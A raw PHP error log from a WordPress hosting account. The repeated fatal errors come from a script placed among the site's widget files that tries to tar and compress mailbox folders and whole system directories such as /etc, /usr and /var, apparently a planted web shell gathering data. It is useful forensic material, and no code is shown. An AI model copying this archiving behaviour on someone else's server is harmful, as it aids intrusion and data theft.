[05-Nov-2025 11:52:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Sent.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:54:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:15:35 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1188503120 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:41:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.well-known.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Trash.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Junk.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:46:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Sent.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.spam.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 12:47:24 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:01:58 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/run/systemd/journal/dev-log.cagefs/dev-log" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:02:00 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/run/systemd/journal/dev-log.cagefs/dev-log" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:02:37 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/tmp" that is not in the base directory "/var" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:02:40 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:03:17 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/tmp" that is not in the base directory "/var" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:04:14 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:19:25 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:28:46 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/usr/local/cpanel): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 [internal function]: RecursiveDirectoryIterator->getChildren()
#2 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#3 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:36:46 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/fb" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:39:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:43:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/md5.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:43:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/info.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:44:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:45:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:45:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/info.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:47:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:54:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/netronome.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 13:59:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: data phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/brcmfmac43430-sdio.beagle,beaglev-starlight-jh7100-r0.txt.beagle,beaglev-starlight-jh7100-r0.txt.tar.gz" has invalid extension beagle,beaglev-starlight-jh7100-r0.txt.tar.gz in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:01:33 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/fb" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:01:37 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/sbin/unix_update" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:01:40 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/cracklib/pw_dict.hwm" that is not in the base directory "/lib64" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:02:15 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem" that is not in the base directory "/opt/alt/ruby25" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:02:22 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:02:47 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 14:08:19 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
